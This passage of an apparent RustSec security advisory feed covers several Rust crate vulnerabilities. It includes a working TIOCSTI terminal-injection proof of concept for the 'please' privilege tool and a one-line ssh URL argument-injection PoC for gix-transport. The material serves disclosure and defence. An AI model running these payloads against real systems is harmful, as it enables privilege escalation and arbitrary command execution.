and TIOCLINUX on systems where they are not disabled.</p>
|
|
<p>Here is how to see it in action:</p>
|
|
<pre><code>$ cd &quot;$(mktemp -d)&quot;
|
|
$ git clone --depth 1 https://gitlab.com/edneville/please.git
|
|
$ cd please/
|
|
$ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9
|
|
$ cargo test &amp;&amp; cargo build --release
|
|
$ echo &quot;[${USER}_as_nobody]&quot;$'\nname='&quot;${USER}&quot;$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
|
|
$ sudo chown root:root ./target/release/please
|
|
$ sudo chmod u+s ./target/release/please
|
|
$ cat &lt;&lt;TIOCSTI_C_EOF | tee TIOCSTI.c
|
|
#include &lt;sys/ioctl.h&gt;
|
|
|
|
int main(void) {
|
|
const char *text = &quot;id\n&quot;;
|
|
while (*text)
|
|
ioctl(0, TIOCSTI, text++);
|
|
return 0;
|
|
}
|
|
TIOCSTI_C_EOF
|
|
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
|
|
$ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody
|
|
</code></pre>
|
|
<p>Please note that:</p>
|
|
<p>This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0065: Vulnerability in tungstenite</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0065.html</id><updated>2023-09-29T12:00:00+00:00</updated><category term="denial-of-service"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0065.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0065: Vulnerability in tungstenite"/><published>2023-09-29T12:00:00+00:00</published><summary xml:lang="en">Tungstenite allows remote attackers to cause a denial of service</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/tungstenite/RUSTSEC-2023-0065.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/tungstenite/RUSTSEC-2023-0065.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0065">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0065
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Tungstenite allows remote attackers to cause a denial of service</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-25">
|
|
September 25, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-29">
|
|
September 29, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/tungstenite.html">tungstenite</a>
|
|
(<a href="https://crates.io/crates/tungstenite">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/denial-of-service.html">denial-of-service</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43669">CVE-2023-43669</a>
|
|
|
|
</li>
|
|
|
|
<li>
|
|
|
|
<a href="https://github.com/advisories/GHSA-9mcr-873m-xcxp">GHSA-9mcr-873m-xcxp</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/snapview/tungstenite-rs/issues/376">
|
|
https://github.com/snapview/tungstenite-rs/issues/376
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>7.5 <span class="tag high">
|
|
HIGH
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Network</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>High</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.20.1</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>The Tungstenite crate through 0.20.0 for Rust allows remote attackers to cause
|
|
a denial of service (minutes of CPU consumption) via an excessive length of an
|
|
HTTP header in a client handshake. The length affects both how many times a parse
|
|
is attempted (e.g., thousands of times) and the average amount of data for each
|
|
parse attempt (e.g., millions of bytes).</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0064: Vulnerability in gix-transport</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0064.html</id><updated>2023-09-25T12:00:00+00:00</updated><category term="code-execution"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0064.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0064: Vulnerability in gix-transport"/><published>2023-09-25T12:00:00+00:00</published><summary xml:lang="en">gix-transport code execution vulnerability</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/gix-transport/RUSTSEC-2023-0064.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/gix-transport/RUSTSEC-2023-0064.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0064">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0064
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>gix-transport code execution vulnerability</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-23">
|
|
September 23, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-25">
|
|
September 25, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/gix-transport.html">gix-transport</a>
|
|
(<a href="https://crates.io/crates/gix-transport">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/code-execution.html">code-execution</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/Byron/gitoxide/pull/1032">
|
|
https://github.com/Byron/gitoxide/pull/1032
|
|
</a>
|
|
</li>
|
|
|
|
|
|
<li>
|
|
<a href="https://secure.phabricator.com/T12961">
|
|
https://secure.phabricator.com/T12961
|
|
</a>
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.36.1</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>The <code>gix-transport</code> crate prior to the patched version 0.36.1 would allow attackers to
|
|
use malicious ssh clone URLs to pass arbitrary arguments to the <code>ssh</code> program, leading
|
|
to arbitrary code execution.</p>
|
|
<p>PoC: <code>gix clone 'ssh://-oProxyCommand=open$IFS-aCalculator/foo'</code></p>
|
|
<p>This will launch a calculator on OSX.</p>
|
|
<p>See https://secure.phabricator.com/T12961 for more details on similar vulnerabilities in <code>git</code>.</p>
|
|
<p>Thanks for <a href="https://github.com/vin01">vin01</a> for disclosing the issue.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0063: Vulnerability in quinn-proto</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0063.html</id><updated>2023-09-21T12:00:00+00:00</updated><category term="denial-of-service"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0063.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0063: Vulnerability in quinn-proto"/><published>2023-09-21T12:00:00+00:00</published><summary xml:lang="en">Denial of service in Quinn servers</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/quinn-proto/RUSTSEC-2023-0063.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/quinn-proto/RUSTSEC-2023-0063.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0063">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0063
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>Denial of service in Quinn servers</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-21">
|
|
September 21, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-21">
|
|
September 21, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/quinn-proto.html">quinn-proto</a>
|
|
(<a href="https://crates.io/crates/quinn-proto">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/denial-of-service.html">denial-of-service</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/panic.html">#panic</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://github.com/advisories/GHSA-q8wc-j5m9-27w3">GHSA-q8wc-j5m9-27w3</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://github.com/quinn-rs/quinn/pull/1667">
|
|
https://github.com/quinn-rs/quinn/pull/1667
|
|
</a>
|
|
</li>
|
|
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>7.5 <span class="tag high">
|
|
HIGH
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Network</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>High</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>^0.9.5</code></li>
|
|
|
|
<li><code>&gt;=0.10.5</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Receiving QUIC frames containing a frame with unknown frame type could lead to a panic.
|
|
Unfortunately this is issue was not found by our fuzzing infrastructure.</p>
|
|
<p>Thanks to the QUIC Tester research group for reporting this issue.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry><entry><title>RUSTSEC-2023-0062: Vulnerability in bcder</title><id>https://rustsec.org/advisories/RUSTSEC-2023-0062.html</id><updated>2023-09-13T12:00:00+00:00</updated><category term="denial-of-service"/><link href="https://rustsec.org/advisories/RUSTSEC-2023-0062.html" rel="alternate" type="text/html" title="RUSTSEC-2023-0062: Vulnerability in bcder"/><published>2023-09-13T12:00:00+00:00</published><summary xml:lang="en">BER/CER/DER decoder panics on invalid input</summary><content xml:lang="en" type="html"> <article>
|
|
|
|
<span class="floating-menu">
|
|
<a href="https://github.com/RustSec/advisory-db/commits/main/crates/bcder/RUSTSEC-2023-0062.md">History</a> ⋅
|
|
<a href="https://github.com/RustSec/advisory-db/edit/main/crates/bcder/RUSTSEC-2023-0062.md">Edit</a> ⋅
|
|
<a href="https://api.osv.dev/v1/vulns/RUSTSEC-2023-0062">JSON (OSV)</a>
|
|
</span>
|
|
|
|
|
|
<header>
|
|
<h1>
|
|
|
|
RUSTSEC-2023-0062
|
|
|
|
</h1>
|
|
<span class="subtitle"><p>BER/CER/DER decoder panics on invalid input</p>
|
|
</span>
|
|
</header>
|
|
|
|
|
|
|
|
<dl>
|
|
<dt id="reported">Reported</dt>
|
|
<dd>
|
|
<time datetime="2023-09-13">
|
|
September 13, 2023
|
|
</time>
|
|
</dd>
|
|
|
|
<dt id="issued">Issued</dt>
|
|
<dd>
|
|
<time datetime="2023-09-13">
|
|
September 13, 2023
|
|
</time>
|
|
|
|
</dd>
|
|
|
|
<dt id="package">Package</dt>
|
|
<dd>
|
|
|
|
|
|
<a href="/packages/bcder.html">bcder</a>
|
|
(<a href="https://crates.io/crates/bcder">crates.io</a>)
|
|
|
|
|
|
</dd>
|
|
|
|
<dt id="type">Type</dt>
|
|
<dd>
|
|
|
|
Vulnerability
|
|
|
|
</dd>
|
|
|
|
|
|
<dt id="categories">Categories</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li><a href="/categories/denial-of-service.html">denial-of-service</a></li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="keywords">Keywords</dt>
|
|
<dd>
|
|
|
|
<a href="/keywords/example.html">#example</a>
|
|
|
|
<a href="/keywords/freeform.html">#freeform</a>
|
|
|
|
<a href="/keywords/keywords.html">#keywords</a>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="aliases">Aliases</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
|
|
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39914">CVE-2023-39914</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
<dt id="details">References</dt>
|
|
<dd>
|
|
<ul>
|
|
|
|
<li>
|
|
<a href="https://nlnetlabs.nl/downloads/bcder/CVE-2023-39914.txt">
|
|
https://nlnetlabs.nl/downloads/bcder/CVE-2023-39914.txt
|
|
</a>
|
|
</li>
|
|
|
|
|
|
<li>
|
|
<a href="https://github.com/NLnetLabs/bcder/pull/74">
|
|
https://github.com/NLnetLabs/bcder/pull/74
|
|
</a>
|
|
</li>
|
|
|
|
</ul>
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
<dt id="cvss_score">CVSS Score</dt>
|
|
<dd>7.5 <span class="tag high">
|
|
HIGH
|
|
</span></dd>
|
|
|
|
<dt id="cvss_details">CVSS Details</dt>
|
|
<dd>
|
|
<dl>
|
|
|
|
<dt>Attack vector</dt><dd>Network</dd>
|
|
|
|
|
|
|
|
<dt>Attack complexity</dt><dd>Low</d>
|
|
|
|
|
|
|
|
<dt>Privileges required</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>User interaction</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Scope</dt><dd>Unchanged</dd>
|
|
|
|
|
|
|
|
<dt>Confidentiality</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Integrity</dt><dd>None</dd>
|
|
|
|
|
|
|
|
<dt>Availability</dt><dd>High</dd>
|
|
|
|
</dl>
|
|
</dd>
|
|
|
|
<dt id="cvss">CVSS Vector</dt>
|
|
<dd><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></dd>
|
|
|
|
|
|
|
|
<dt id="patched">Patched</dt>
|
|
<dd>
|
|
|
|
<ul>
|
|
|
|
<li><code>&gt;=0.7.3</code></li>
|
|
|
|
</ul>
|
|
|
|
</dd>
|
|
|
|
|
|
|
|
|
|
|
|
</dl>
|
|
|
|
|
|
|
|
|
|
<h3 id="description">Description</h3>
|
|
<p>Due to insufficient checking of input data, decoding certain data sequences
|
|
can lead to <em>bcder</em> panicking rather than returning an error. This can affect
|
|
both the actual decoding stage as well as accessing content of types that
|
|
utilized delayed decoding.</p>
|
|
<p>bcder 0.7.3 fixes these issues by more thoroughly checking inputs and
|
|
returning errors as expected.</p>
|
|
|
|
|
|
<p id="license" class="license">Advisory available under <a href="https://spdx.org/licenses/CC0-1.0.html">CC0-1.0</a>
|
|
license.
|
|
|
|
|
|
</p>
|
|
</article></content></entry></feed> |